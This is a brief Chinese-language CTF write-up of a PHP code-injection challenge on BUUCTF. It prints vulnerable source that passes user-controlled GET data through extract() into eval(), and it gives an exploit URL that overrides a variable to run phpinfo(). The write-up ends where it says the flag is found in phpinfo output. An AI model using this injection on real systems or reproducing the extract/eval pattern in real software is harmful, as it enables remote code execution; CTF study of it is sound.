简单的代码注入,但是因为太懒了,十月打的比赛十一月底才想起来写个Wp,以后再也不当懒狗了
题目:
<?php
highlight_file('index.php');
extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
String2Array($attrstr);
在String2Array()
处存在一个代码执行点,然后下面的就是一个简单的语句拼接,本地测一下就可以实现代码注入,最终构造出:http://5d3c1779-4050-423d-8a56-405a2aa1a462.node4.buuoj.cn:81/?attrid[]=0&attrvalue[]=0&attrstr=phpinfo();//
然后在phpinfo的常量中找到flag: